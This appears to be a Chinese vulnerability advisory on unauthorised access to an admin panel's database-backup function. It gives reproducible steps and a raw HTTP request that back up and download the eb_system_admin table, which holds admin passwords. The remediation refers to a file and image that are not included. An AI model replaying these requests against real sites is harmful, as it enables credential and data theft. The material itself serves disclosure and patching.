問題：system.system_databackup功能處存在未授權(quán)獲取數(shù)據(jù)庫文件，泄露數(shù)據(jù)庫敏感信息
| 查看表名 | http://192.168.8.75/admin/system.system_databackup/tablelist.html例如：eb_user表和eb_system_admin表保存賬號和密碼 |
| 備份eb_system_admin表 | POST /admin/system.system_databackup/backup HTTP/1.1Host: 192.168.8.75Content-Length: 28Accept: application/json, text/javascript, */*; q=0.01Dnt: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedOrigin: http://192.168.8.75Referer: http://192.168.8.75/admin/system.system_databackup/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8 tables%5B%5D=eb_system_admin |
| 查看備份文件名稱 | http://192.168.8.75/admin/system.system_databackup/filelist.html?page=1&limit=10 |
| 根據(jù)返回的“time”值下載數(shù)據(jù)庫表備份文件 | http://192.168.8.75/admin/system.system_databackup/downloadFile/feilname/1704781013 |
修復(fù)方法：下載下面文件覆蓋
文件上傳到根目錄；如圖
解壓文件夾即可
